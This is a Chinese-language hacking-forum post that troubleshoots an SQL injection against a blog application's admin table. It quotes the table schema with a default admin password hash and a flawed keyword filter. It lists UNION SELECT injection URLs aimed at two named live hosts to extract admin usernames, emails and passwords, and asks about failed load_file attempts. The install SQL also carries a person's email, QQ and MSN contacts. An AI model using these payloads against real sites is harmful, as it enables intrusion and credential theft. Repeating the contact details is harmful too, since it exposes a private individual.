议题提交:Swords [E.S.T]
信息来源:邪恶八进制信息安全团队
//建立表 ob_admin
$sql[] = "CREATE TABLE `ob_admin` (
`username` varchar(15) default 'admin',
`password` varchar(40) default '21232f297a57a5a743894a0e4a801fc3',
`email` varchar(100) default '
admin@shirui.org',
`homepage` varchar(100) default '
http://shirui.org',
`qq` varchar(30) default '5194913',
`msn` varchar(100) default '
shishirui@hotmail.com',
`icq` varchar(100) default '123456789',
`remark` text
) TYPE=MyISAM;";
function checkSQL($content)
{
$char = array("'","or","and");
for($i=0;$i<count($char);$i++) {
if(strstr($content,$char[$i])) {
die();
}
}
Return $content;
}
//导入数据 ob_admin
$sql[] = "INSERT INTO `ob_admin` VALUES ('admin', '21232f297a57a5a743894a0e4a801fc3', '
admin@shirui.org', '
http://shirui.org', '5194913', '
shishirui@hotmail.com', '123456789', '这家伙很懒,什么都没留下.');";
http://www.icylife.net/swords/blog.php?id=1%20union%20select%201,1,1,email,1%20from%20ob_admin
http://www.icylife.net/swords/blog.php?id=1%20union%20select%201,1,1,username,1%20from%20ob_admin
以上两个都成功,但是下面这个却一片空白,什么原因?
http://www.icylife.net/swords/blog.php?id=1%20union%20select%201,1,1,password,1%20from%20ob_admin
从表的结构看,password和username,email都是varchar类型阿,那怎么还不能显示??
另外,在51的主机上测试
http://wmjie.51.net/swords/oblog ... 0union%20select%201,1,1,username,1%20from%20ob_admin
更强!直接就没有东西!(这问题谁知道啊?????)
ps:
两个主机上测试loadfile都不能暴出东西来,难道是没有权限??